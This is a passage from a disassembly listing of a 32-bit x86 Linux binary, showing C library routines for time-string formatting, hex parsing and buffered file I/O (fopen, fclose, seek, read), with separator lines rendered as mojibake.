jz short loc_806080E mov byte ptr [ebx], 20h inc ebx loc_806080E: ; CODE XREF: sub_806077C+8Cj mov eax, offset unk_8069937 cmp edi, 1 jnz short loc_806081D mov eax, offset unk_8069936 loc_806081D: ; CODE XREF: sub_806077C+9Aj push eax push edi push offset aDHourS ; "%d hour%s" push ebx call sprintf add esp, 10h lea esi, [esi+0] loc_8060830: ; CODE XREF: sub_806077C+B8j inc ebx cmp byte ptr [ebx], 0 jnz short loc_8060830 loc_8060836: ; CODE XREF: sub_806077C+88j cmp [ebp+var_8], 0 jz short loc_8060872 test esi, esi jnz short loc_8060844 test edi, edi jz short loc_8060848 loc_8060844: ; CODE XREF: sub_806077C+C2j mov byte ptr [ebx], 20h inc ebx loc_8060848: ; CODE XREF: sub_806077C+C6j mov eax, offset unk_8069937 cmp [ebp+var_8], 1 jnz short loc_8060858 mov eax, offset unk_8069936 loc_8060858: ; CODE XREF: sub_806077C+D5j push eax mov edx, [ebp+var_8] push edx push offset aDMinS ; "%d min%s" push ebx call sprintf add esp, 10h nop loc_806086C: ; CODE XREF: sub_806077C+F4j inc ebx cmp byte ptr [ebx], 0 jnz short loc_806086C loc_8060872: ; CODE XREF: sub_806077C+BEj cmp [ebp+var_4], 0 jnz short loc_8060886 test esi, esi jnz short loc_80608B8 test edi, edi jnz short loc_80608B8 cmp [ebp+var_8], 0 jnz short loc_80608B8 loc_8060886: ; CODE XREF: sub_806077C+FAj test esi, esi jnz short loc_8060894 test edi, edi jnz short loc_8060894 cmp [ebp+var_8], 0 jz short loc_8060898 loc_8060894: ; CODE XREF: sub_806077C+10Cj ; sub_806077C+110j mov byte ptr [ebx], 20h inc ebx loc_8060898: ; CODE XREF: sub_806077C+116j mov eax, offset unk_8069937 cmp [ebp+var_4], 1 jnz short loc_80608A8 mov eax, offset unk_8069936 loc_80608A8: ; CODE XREF: sub_806077C+125j push eax mov ecx, [ebp+var_4] push ecx push offset aDSecS ; "%d sec%s" push ebx call sprintf loc_80608B8: ; CODE XREF: sub_806077C+32j ; sub_806077C+FEj ... mov eax, offset dword_807E428 lea esp, [ebp+var_14] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_806077C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [00000220 BYTES: COLLAPSED FUNCTION res_mkquery. PRESS KEYPAD "+" TO EXPAND] ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8060AE8 proc near ; CODE XREF: .text:08060B7Dp ; .text:08060BA9p arg_0 = dword ptr 8 push ebp mov ebp, esp mov edx, [ebp+arg_0] lea eax, [edx-30h] cmp eax, 9 ja short loc_8060B04 mov al, dl add al, 0D0h and eax, 0FFh mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060B04: ; CODE XREF: sub_8060AE8+Cj mov al, dl add al, 0C9h and eax, 0FFh mov esp, ebp pop ebp retn sub_8060AE8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp sub esp, 8 push edi push esi push ebx mov ebx, [ebp+8] mov edi, [ebp+0Ch] xor esi, esi jmp loc_8060BBF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060B2C: ; CODE XREF: .text:08060BC4j cmp [ebp+10h], esi jbe loc_8060BCA cmp dl, 2Eh jz loc_8060BBF cmp dl, 2Bh jz short loc_8060BBF cmp dl, 2Fh jz short loc_8060BBF test dl, dl jge short loc_8060B50 loc_8060B4C: ; CODE XREF: .text:08060B7Aj ; .text:08060B8Dj ... xor eax, eax jmp short loc_8060BCC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060B50: ; CODE XREF: .text:08060B4Aj movzx ecx, dl mov [ebp-8], ecx mov eax, dword_8078FA0 test byte ptr [eax+ecx*2+1], 2 jz short loc_8060B6A mov eax, dword_8078FA8 mov dl, [eax+ecx*4] loc_8060B6A: ; CODE XREF: .text:08060B60j and edx, 0FFh mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 10h jz short loc_8060B4C push edx call sub_8060AE8 mov [ebp-4], al mov dl, [ebx] add esp, 4 inc ebx test dl, dl jz short loc_8060B4C movzx eax, dl mov edx, dword_8078FA8 movzx edx, byte ptr [edx+eax*4] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 10h jz short loc_8060B4C push edx call sub_8060AE8 mov dl, al mov al, [ebp-4] shl al, 4 or al, dl mov [edi], al inc edi inc esi add esp, 4 loc_8060BBF: ; CODE XREF: .text:08060B25j ; .text:08060B38j ... mov dl, [ebx] inc ebx test dl, dl jnz loc_8060B2C loc_8060BCA: ; CODE XREF: .text:08060B2Fj mov eax, esi loc_8060BCC: ; CODE XREF: .text:08060B4Ej lea esp, [ebp-14h] pop ebx pop esi pop edi mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [0000014B BYTES: COLLAPSED FUNCTION inet_nsap_ntoa. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8060D24 proc near ; CODE XREF: _IO_fopen+30p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword ptr [eax+40h], 0FFFFFFFFh or dword ptr [eax], 240Ch push eax call _IO_link_in mov esp, ebp pop ebp retn sub_8060D24 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8060D44 proc near ; CODE XREF: _IO_fclose+33p var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp push edi push esi push ebx mov ebx, [ebp+arg_0] cmp dword ptr [ebx+38h], 0 jge short loc_8060D5C mov eax, 0FFFFFFFFh jmp short loc_8060DD0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060D5C: ; CODE XREF: sub_8060D44+Dj push ebx call sub_8061210 mov edi, eax push ebx call sub_8062368 mov eax, [ebx+50h] push ebx mov eax, [eax+84h] call eax mov esi, eax push 0 push 0 push 0 push ebx call sub_8061B6C mov dword ptr [ebx+0Ch], 0 mov dword ptr [ebx+4], 0 mov dword ptr [ebx+8], 0 mov dword ptr [ebx+14h], 0 mov dword ptr [ebx+10h], 0 mov dword ptr [ebx+18h], 0 push ebx call _IO_un_link mov dword ptr [ebx], 0FBAD240Ch mov dword ptr [ebx+38h], 0FFFFFFFFh mov dword ptr [ebx+40h], 0FFFFFFFFh mov eax, esi test eax, eax jnz short loc_8060DD0 mov eax, edi loc_8060DD0: ; CODE XREF: sub_8060D44+14j ; sub_8060D44+88j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8060D44 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp push ebx mov ebx, [ebp+8] cmp dword ptr [ebx+38h], 0 jl short loc_8060E11 mov eax, [ebx+14h] sub eax, [ebx+10h] push eax mov eax, [ebx+10h] push eax push ebx call sub_8060FA8 add esp, 0Ch test byte ptr [ebx], 40h jnz short loc_8060E11 mov eax, [ebx+50h] push ebx mov eax, [eax+84h] call eax add esp, 4 loc_8060E11: ; CODE XREF: .text:08060DE7j ; .text:08060E00j push ebx call _IO_default_finish mov ebx, [ebp-4] mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8060E20 proc near ; CODE XREF: _IO_fopen+38p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] mov edx, [ebp+arg_8] xor ecx, ecx cmp dword ptr [esi+38h], 0 jge short loc_8060E92 movzx eax, byte ptr [edx] inc edx cmp eax, 72h jz short loc_8060E54 jg short loc_8060E4C cmp eax, 61h jz short loc_8060E74 jmp short loc_8060E88 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060E4C: ; CODE XREF: sub_8060E20+20j cmp eax, 77h jz short loc_8060E60 jmp short loc_8060E88 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060E54: ; CODE XREF: sub_8060E20+1Ej xor eax, eax mov ebx, 8 jmp short loc_8060E98 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060E60: ; CODE XREF: sub_8060E20+2Fj mov eax, 1 mov ecx, 240h mov ebx, 4 jmp short loc_8060E98 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060E74: ; CODE XREF: sub_8060E20+25j mov eax, 1 mov ecx, 440h mov ebx, 1004h jmp short loc_8060E98 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060E88: ; CODE XREF: sub_8060E20+27j ; sub_8060E20+31j mov errno, 16h loc_8060E92: ; CODE XREF: sub_8060E20+15j ; sub_8060E20+A6j ... xor eax, eax jmp short loc_8060F03 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060E98: ; CODE XREF: sub_8060E20+3Bj ; sub_8060E20+4Fj ... cmp byte ptr [edx], 2Bh jz short loc_8060EA8 cmp byte ptr [edx], 62h jnz short loc_8060EB3 cmp byte ptr [edx+1], 2Bh jnz short loc_8060EB3 loc_8060EA8: ; CODE XREF: sub_8060E20+7Bj mov eax, 2 and ebx, 1000h loc_8060EB3: ; CODE XREF: sub_8060E20+80j ; sub_8060E20+86j push 1B6h or eax, ecx push eax push edi call __libc_open add esp, 0Ch test eax, eax jl short loc_8060E92 mov [esi+38h], eax mov eax, [esi] and eax, 0FFFFEFF3h or eax, ebx mov [esi], eax test bh, 10h jz short loc_8060EFB mov eax, [esi+50h] push 3 push 2 push 0 push esi mov eax, [eax+44h] call eax add esp, 10h cmp eax, 0FFFFFFFFh jnz short loc_8060EFB cmp errno, 1Dh jnz short loc_8060E92 loc_8060EFB: ; CODE XREF: sub_8060E20+B9j ; sub_8060E20+D0j push esi call _IO_link_in mov eax, esi loc_8060F03: ; CODE XREF: sub_8060E20+74j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8060E20 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp push ebx mov ebx, [ebp+8] mov eax, [ebp+0Ch] cmp dword ptr [ebx+38h], 0 jge short loc_8060F4D mov [ebx+38h], eax and dword ptr [ebx], 0FFFFFFF3h or byte ptr [ebx], 40h mov dword ptr [ebx+40h], 0FFFFFFFFh mov eax, [ebx+50h] push 3 push 1 push 0 push ebx mov eax, [eax+44h] call eax cmp eax, 0FFFFFFFFh jnz short loc_8060F54 cmp errno, 1Dh jz short loc_8060F54 loc_8060F4D: ; CODE XREF: .text:08060F1Ej xor eax, eax jmp short loc_8060F56 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060F54: ; CODE XREF: .text:08060F42j ; .text:08060F4Bj mov eax, ebx loc_8060F56: ; CODE XREF: .text:08060F4Fj mov ebx, [ebp-4] mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp push ebx mov ebx, [ebp+8] mov edx, [ebp+0Ch] mov eax, [ebp+10h] push eax push edx push ebx call sub_8061E44 test eax, eax jz short loc_8060F9C mov eax, [ebx+1Ch] mov [ebx+18h], eax mov [ebx+14h], eax mov [ebx+10h], eax mov eax, [ebx+1Ch] mov [ebx+0Ch], eax mov eax, [ebx+1Ch] mov [ebx+4], eax mov eax, [ebx+1Ch] mov [ebx+8], eax mov eax, ebx jmp short loc_8060F9E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060F9C: ; CODE XREF: .text:08060F77j xor eax, eax loc_8060F9E: ; CODE XREF: .text:08060F99j mov ebx, [ebp-4] mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8060FA8 proc near ; CODE XREF: .text:08060DF5p ; .text:080611A1p ... var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ebx, [ebp+arg_0] mov esi, [ebp+arg_8] test esi, esi jnz short loc_8060FC0 xor eax, eax jmp loc_8061061 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060FC0: ; CODE XREF: sub_8060FA8+Ej test byte ptr [ebx+1], 10h jz short loc_8060FD0 mov dword ptr [ebx+40h], 0FFFFFFFFh jmp short loc_8060FF5 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8060FD0: ; CODE XREF: sub_8060FA8+1Cj mov eax, [ebx+8] cmp [ebx+10h], eax jz short loc_8060FF5 mov eax, [ebx+50h] push 1 mov edx, [ebx+10h] sub edx, [ebx+8] push edx push ebx mov eax, [eax+7Ch] call eax add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_806105C mov [ebx+40h], eax loc_8060FF5: ; CODE XREF: sub_8060FA8+25j ; sub_8060FA8+2Ej mov eax, [ebx+50h] push esi mov ecx, [ebp+arg_4] push ecx push ebx mov eax, [eax+74h] call eax mov edi, eax add esp, 0Ch cmp word ptr [ebx+44h], 0 jz short loc_8061025 push esi mov ecx, [ebp+arg_4] push ecx movzx eax, word ptr [ebx+44h] dec eax push eax call sub_80620C8 inc ax mov [ebx+44h], ax loc_8061025: ; CODE XREF: sub_8060FA8+65j mov eax, [ebx+1Ch] mov [ebx+0Ch], eax mov eax, [ebx+1Ch] mov [ebx+4], eax mov eax, [ebx+1Ch] mov [ebx+8], eax mov eax, [ebx+1Ch] mov [ebx+14h], eax mov [ebx+10h], eax test dword ptr [ebx], 202h jz short loc_8061050 mov eax, [ebx+1Ch] jmp short loc_8061053 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8061050: ; CODE XREF: sub_8060FA8+9Ej mov eax, [ebx+20h] loc_8061053: ; CODE XREF: sub_8060FA8+A3j mov [ebx+18h], eax xor eax, eax cmp edi, esi jz short loc_8061061 loc_806105C: ; CODE XREF: sub_8060FA8+48j mov eax, 0FFFFFFFFh loc_8061061: ; CODE XREF: sub_8060FA8+12j ; sub_8060FA8+B2j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8060FA8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [000000AA BYTES: COLLAPSED FUNCTION _IO_file_underflow. PRESS KEYPAD "+" TO EXPAND] align 4 push ebp mov ebp, esp push esi push ebx mov ebx, [ebp+8] mov esi, [ebp+0Ch] test byte ptr [ebx], 8 jnz loc_80611F6 test byte ptr [ebx+1], 8 jnz short loc_8061190 cmp dword ptr [ebx+10h], 0 jnz short loc_8061153 push ebx call sub_8061BB8 mov eax, [ebx+1Ch] mov [ebx+0Ch], eax mov eax, [ebx+1Ch] mov [ebx+4], eax mov eax, [ebx+1Ch] mov [ebx+8], eax add esp, 4 loc_8061153: ; CODE XREF: .text:08061136j mov eax, [ebx+4] cmp [ebx+20h], eax jnz short loc_8061164 mov eax, [ebx+1Ch] mov [ebx+4], eax mov [ebx+8], eax loc_8061164: ; CODE XREF: .text:08061159j mov eax, [ebx+4] mov [ebx+14h], eax mov [ebx+10h], eax mov eax, [ebx+20h] mov [ebx+18h], eax mov eax, [ebx+8] mov [ebx+4], eax mov [ebx+0Ch], eax test dword ptr [ebx], 202h jz short loc_806118A mov eax, [ebx+14h] mov [ebx+18h], eax loc_806118A: ; CODE XREF: .text:08061182j or dword ptr [ebx], 800h loc_8061190: ; CODE XREF: .text:08061130j cmp esi, 0FFFFFFFFh jnz short loc_80611A8 mov eax, [ebx+14h] sub eax, [ebx+10h] push eax mov eax, [ebx+10h] push eax push ebx call sub_8060FA8 jmp short loc_8061205 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80611A8: ; CODE XREF: .text:08061193j mov eax, [ebx+14h] cmp [ebx+20h], eax jnz short loc_80611C6 sub eax, [ebx+10h] push eax mov eax, [ebx+10h] push eax push ebx call sub_8060FA8 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_80611F6 loc_80611C6: ; CODE XREF: .text:080611AEj mov eax, [ebx+14h] mov edx, esi mov [eax], dl inc dword ptr [ebx+14h] test byte ptr [ebx], 2 jnz short loc_80611E0 test byte ptr [ebx+1], 2 jz short loc_8061200 cmp esi, 0Ah jnz short loc_8061200 loc_80611E0: ; CODE XREF: .text:080611D3j mov eax, [ebx+14h] sub eax, [ebx+10h] push eax mov eax, [ebx+10h] push eax push ebx call sub_8060FA8 cmp eax, 0FFFFFFFFh jnz short loc_8061200 loc_80611F6: ; CODE XREF: .text:08061126j ; .text:080611C4j mov eax, 0FFFFFFFFh jmp short loc_8061205 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8061200: ; CODE XREF: .text:080611D9j ; .text:080611DEj ... mov edx, esi movzx eax, dl loc_8061205: ; CODE XREF: .text:080611A6j ; .text:080611FBj lea esp, [ebp-8] pop ebx pop esi mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8061210 proc near ; CODE XREF: sub_8060D44+19p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] mov eax, [ebx+14h] cmp [ebx+10h], eax jnb short loc_8061234 sub eax, [ebx+10h] push eax mov eax, [ebx+10h] push eax push ebx call sub_8060FA8 add esp, 0Ch test eax, eax jnz short loc_8061256 loc_8061234: ; CODE XREF: sub_8061210+Dj mov edx, [ebx+4] sub edx, [ebx+8] jz short loc_8061266 mov eax, [ebx+50h] push 1 push edx push ebx mov eax, [eax+7Ch] call eax cmp eax, 0FFFFFFFFh jnz short loc_8061260 cmp errno, 1Dh jz short loc_8061266 loc_8061256: ; CODE XREF: sub_8061210+22j mov eax, 0FFFFFFFFh jmp short loc_806126F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8061260: ; CODE XREF: sub_8061210+3Bj mov eax, [ebx+4] mov [ebx+8], eax loc_8061266: ; CODE XREF: sub_8061210+2Aj ; sub_8061210+44j mov dword ptr [ebx+40h], 0FFFFFFFFh xor eax, eax loc_806126F: ; CODE XREF: sub_8061210+4Bj mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8061210 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp sub esp, 48h push edi push esi push ebx mov ebx, [ebp+8] mov esi, [ebp+0Ch] mov edi, [ebp+10h] cmp dword ptr [ebp+14h], 0 jnz short loc_8061297 mov edi, 1 xor esi, esi loc_8061297: ; CODE XREF: .text:0806128Ej mov eax, [ebx+14h] cmp [ebx+10h], eax jb short loc_80612A5 test byte ptr [ebx+1], 8 jz short loc_80612B6 loc_80612A5: ; CODE XREF: .text:0806129Dj push ebx call sub_806186C add esp, 4 test eax, eax jnz loc_80613CA loc_80612B6: ; CODE XREF: .text:080612A3j cmp dword ptr [ebx+1Ch], 0 jnz short loc_80612E6 push ebx call sub_8061BB8 mov eax, [ebx+1Ch] mov [ebx+14h], eax mov [ebx+10h], eax mov eax, [ebx+1Ch] mov [ebx+18h], eax mov eax, [ebx+1Ch] mov [ebx+0Ch], eax mov eax, [ebx+1Ch] mov [ebx+4], eax mov eax, [ebx+1Ch] mov [ebx+8], eax add esp, 4 loc_80612E6: ; CODE XREF: .text:080612BAj cmp edi, 1 jz short loc_80612F4 jle short loc_806133E cmp edi, 2 jz short loc_806130C jmp short loc_806133E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80612F4: ; CODE XREF: .text:080612E9j mov eax, [ebx+8] sub eax, [ebx+4] sub esi, eax cmp dword ptr [ebx+40h], 0FFFFFFFFh jz loc_806143C add esi, [ebx+40h] jmp short loc_806133C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806130C: ; CODE XREF: .text:080612F0j mov eax, [ebx+50h] lea edx, [ebp-40h] push edx push ebx mov eax, [eax+8Ch] call eax add esp, 8 test eax, eax jnz loc_806143C mov ax, [ebp-38h] and ax, 0F000h cmp ax, 8000h jnz loc_806143C add esi, [ebp-2Ch] loc_806133C: ; CODE XREF: .text:08061309j xor edi, edi loc_806133E: ; CODE XREF: .text:080612EBj ; .text:080612F2j cmp dword ptr [ebx+40h], 0FFFFFFFFh jz short loc_806138C cmp dword ptr [ebx+0Ch], 0 jz short loc_806138C test byte ptr [ebx+1], 1 jnz short loc_806138C mov edx, esi sub edx, [ebx+40h] mov eax, [ebx+8] sub eax, [ebx+0Ch] add edx, eax js short loc_806138C cmp edx, eax jg short loc_806138C mov eax, [ebx+1Ch] mov [ebx+0Ch], eax add edx, [ebx+1Ch] mov [ebx+4], edx mov eax, [ebx+8] mov [ebx+8], eax mov eax, [ebx+1Ch] mov [ebx+14h], eax mov [ebx+10h], eax mov eax, [ebx+1Ch] mov [ebx+18h], eax mov eax, esi jmp loc_8061482 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806138C: ; CODE XREF: .text:08061342j ; .text:08061348j ... test byte ptr [ebx], 4 jnz loc_806143C mov edx, [ebx+20h] sub edx, [ebx+1Ch] mov eax, edx neg eax and eax, esi mov [ebp-48h], eax mov edi, esi sub edi, eax cmp edi, edx jle short loc_80613B1 mov [ebp-48h], esi xor edi, edi loc_80613B1: ; CODE XREF: .text:080613AAj mov eax, [ebx+50h] push 0 mov ecx, [ebp-48h] push ecx push ebx mov eax, [eax+7Ch] call eax mov [ebp-44h], eax add esp, 0Ch test eax, eax jge short loc_80613D4 loc_80613CA: ; CODE XREF: .text:080612B0j mov eax, 0FFFFFFFFh jmp loc_8061482 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80613D4: ; CODE XREF: .text:080613C8j test edi, edi jnz short loc_80613DC xor edx, edx jmp short loc_806140C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80613DC: ; CODE XREF: .text:080613D6j mov edx, [ebx+50h] mov eax, [ebx+20h] sub eax, [ebx+1Ch] push eax mov eax, [ebx+1Ch] push eax push ebx mov eax, [edx+6Ch] call eax mov edx, eax add esp, 0Ch cmp edx, edi jge short loc_806140C mov esi, edi cmp edx, 0FFFFFFFFh jz short loc_8061402 sub esi, edx loc_8061402: ; CODE XREF: .text:080613FEj mov edi, 1 jmp short loc_806143C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806140C: ; CODE XREF: .text:080613DAj ; .text:080613F7j mov eax, [ebx+1Ch] mov [ebx+0Ch], eax add edi, [ebx+1Ch] mov [ebx+4], edi mov ecx, [ebx+1Ch] add ecx, edx mov [ebx+8], ecx mov eax, [ebx+1Ch] mov [ebx+14h], eax mov [ebx+10h], eax mov eax, [ebx+1Ch] mov [ebx+18h], eax add edx, [ebp-44h] mov [ebx+40h], edx and dword ptr [ebx], 0FFFFFFEFh mov eax, esi jmp short loc_8061482 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806143C: ; CODE XREF: .text:08061300j ; .text:08061321j ... push ebx call sub_8062368 mov eax, [ebx+50h] push edi push esi push ebx mov eax, [eax+7Ch] call eax mov [ebp-44h], eax cmp eax, 0FFFFFFFFh jz short loc_8061458 and dword ptr [ebx], 0FFFFFFEFh loc_8061458: ; CODE XREF: .text:08061453j mov ecx, [ebp-44h] mov [ebx+40h], ecx mov eax, [ebx+1Ch] mov [ebx+0Ch], eax mov eax, [ebx+1Ch] mov [ebx+4], eax mov eax, [ebx+1Ch] mov [ebx+8], eax mov eax, [ebx+1Ch] mov [ebx+14h], eax mov [ebx+10h], eax mov eax, [ebx+1Ch] mov [ebx+18h], eax mov eax, [ebp-44h] loc_8061482: ; CODE XREF: .text:08061386j ; .text:080613CFj ... lea esp, [ebp-54h] pop ebx pop esi pop edi mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+8] mov esi, [ebp+0Ch] mov ebx, [ebp+10h] nop loc_806149C: ; CODE XREF: .text:080614B6j push ebx push esi mov eax, [edi+38h] push eax call __libc_read add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_80614B8 cmp errno, 4 jz short loc_806149C loc_80614B8: ; CODE XREF: .text:080614ADj lea esp, [ebp-0Ch] pop ebx pop esi pop edi mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp mov ecx, [ebp+8] mov edx, [ebp+0Ch] mov eax, [ebp+10h] push eax push edx mov eax, [ecx+38h] push eax call __libc_lseek mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp mov eax, [ebp+8] mov edx, [ebp+0Ch] mov eax, [eax+38h] push edx push eax push 1 call _fxstat mov esp, ebp pop ebp retn ; 